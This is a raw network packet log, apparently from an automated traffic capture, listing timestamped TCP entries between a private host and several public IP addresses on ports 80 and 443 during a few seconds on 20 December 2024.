Dec 20, 2024 17:43:50.891748905 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.902215958 CET	49783	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:50.902239084 CET	443	49783	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:51.362761974 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:51.363684893 CET	49791	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:51.408756971 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:51.408808947 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:51.409085989 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:51.414855003 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:51.414884090 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:51.438743114 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:51.439661980 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:51.483242989 CET	80	49791	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:51.483273029 CET	80	49766	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:51.483331919 CET	49791	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:51.483331919 CET	49766	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:51.489439011 CET	49791	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:51.559739113 CET	80	49793	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:51.559755087 CET	80	49767	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:51.559837103 CET	49767	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:51.559848070 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:51.560081959 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:51.609082937 CET	80	49791	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:51.679502010 CET	80	49793	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:52.086513996 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:52.086591005 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:52.086683035 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:52.091026068 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:52.091043949 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:52.251542091 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:52.251591921 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:52.251667976 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:52.252207994 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:52.252219915 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:52.460375071 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:52.460551977 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:52.635087967 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:52.635334015 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:52.636794090 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:52.636805058 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:52.637042999 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:52.638452053 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:52.638597012 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:52.638628960 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:52.827102900 CET	80	49791	185.215.113.43	192.168.2.6
Dec 20, 2024 17:43:52.827331066 CET	49791	80	192.168.2.6	185.215.113.43
Dec 20, 2024 17:43:52.828464985 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:52.828757048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:52.866771936 CET	80	49793	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:52.866849899 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:52.948342085 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:52.948503971 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:52.948607922 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:52.948611975 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:52.948677063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:53.068218946 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:53.318695068 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:53.318767071 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:53.320703030 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:53.320713997 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:53.320976019 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:53.367959976 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:53.367980003 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:53.368093967 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:53.482218981 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.482304096 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.483700037 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.483707905 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.484013081 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.503671885 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.505392075 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.505419970 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.505518913 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.505541086 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.505724907 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.505748987 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.506144047 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.506161928 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.508672953 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.508694887 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.508886099 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.508904934 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.508913994 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.508918047 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.509052038 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.509072065 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.509085894 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.509224892 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.509247065 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.551321983 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.551489115 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.551517963 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.551537037 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.551549911 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.551564932 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.551577091 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.551603079 CET	49796	443	192.168.2.6	172.67.197.170
Dec 20, 2024 17:43:53.551608086 CET	443	49796	172.67.197.170	192.168.2.6
Dec 20, 2024 17:43:53.641210079 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:53.641310930 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:53.644751072 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:53.648751974 CET	49792	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:53.648770094 CET	443	49792	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:54.083275080 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.083388090 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.083448887 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.108686924 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.108712912 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.108740091 CET	49795	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.108747959 CET	443	49795	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.148761034 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.148819923 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.148893118 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.150053978 CET	49803	443	192.168.2.6	104.21.91.209
Dec 20, 2024 17:43:54.150084019 CET	443	49803	104.21.91.209	192.168.2.6
Dec 20, 2024 17:43:54.271919966 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.271986008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272017002 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272028923 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272058964 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272074938 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272103071 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272114992 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272135973 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272140026 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272149086 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272186995 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272186995 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272548914 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272561073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272572994 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.272620916 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.272700071 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.388936996 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:54.388979912 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:54.389190912 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:54.389429092 CET	49804	443	192.168.2.6	104.21.23.76
Dec 20, 2024 17:43:54.389445066 CET	443	49804	104.21.23.76	192.168.2.6
Dec 20, 2024 17:43:54.391627073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.391727924 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.391911030 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.392056942 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.395838022 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.395895004 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.395987988 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.396050930 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.463951111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.464011908 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.464037895 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.464083910 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.468182087 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.468312979 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.468389034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.468470097 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.476512909 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.477323055 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.479585886 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.479737043 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.479804039 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.488008976 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.488080978 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.488403082 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.488528967 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.496371031 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.496444941 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.496566057 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.496670008 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.497581005 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:54.497824907 CET	49807	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:54.504759073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.504832983 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.504997969 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.505078077 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.513122082 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.513185024 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.513335943 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.513406038 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.521517992 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.521631002 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.521668911 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.521805048 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.530035973 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.530090094 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.530636072 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.530678034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.537579060 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.537683964 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.537719011 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.537868023 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.544689894 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.544814110 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.544960022 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.545006990 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.552362919 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.552500010 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.617291927 CET	80	49807	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:54.617494106 CET	80	49793	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:54.617621899 CET	49807	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:54.617623091 CET	49793	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:54.617870092 CET	49807	80	192.168.2.6	89.35.131.209
Dec 20, 2024 17:43:54.667485952 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.667501926 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.667537928 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.667661905 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.669713020 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.669758081 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.670716047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.670803070 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.670842886 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.670842886 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.675060987 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.675230980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.675247908 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.675288916 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.679634094 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.679676056 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.679704905 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.679802895 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.684263945 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.684286118 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.684308052 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.684402943 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.688627958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.688719988 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.689260006 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.689316034 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.693202972 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.693331003 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.693336010 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.693578005 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.697783947 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.697833061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.697895050 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.697983980 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.702233076 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.702317953 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.702351093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.702402115 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.706922054 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.706958055 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.706990957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.706990957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.711361885 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.711505890 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.711992025 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.712029934 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.715941906 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.716044903 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.716319084 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.716383934 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.720474958 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.720658064 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.721283913 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.721472025 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.724965096 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.725068092 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.725106001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.725106001 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.729459047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.729599953 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.729599953 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.729665995 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.734045029 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.734123945 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.734395027 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.734457970 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.737328053 CET	80	49807	89.35.131.209	192.168.2.6
Dec 20, 2024 17:43:54.738544941 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.738617897 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.738656998 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.738719940 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.743088007 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.743258953 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.743303061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.743303061 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.747629881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.747677088 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.748136997 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.748238087 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.752168894 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.752217054 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.752582073 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.752630949 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.756741047 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.756841898 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.756886005 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.756932974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.761256933 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.761351109 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.761809111 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.761867046 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.765763044 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.765813112 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.766064882 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.766155005 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.859400034 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.859520912 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.859538078 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.859595060 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.861222982 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.861301899 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.861385107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.861385107 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.865039110 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.865341902 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.866292000 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.866389036 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.866565943 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.866744041 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.870065928 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.870452881 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.870493889 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.870493889 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.873780012 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.873934984 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.873955965 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.874485016 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.877402067 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.877573967 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.877590895 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.878230095 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.880932093 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.881119967 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.881155014 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.881155968 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.884335041 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.884601116 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.884614944 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.884661913 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.887633085 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.887898922 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.887908936 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.888230085 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.891005993 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.891161919 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.891180038 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.891330957 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.894284010 CET	80	49799	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:54.894397974 CET	49799	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:54.894421101 CET	80	49799	31.41.244.11	192.168.2.6
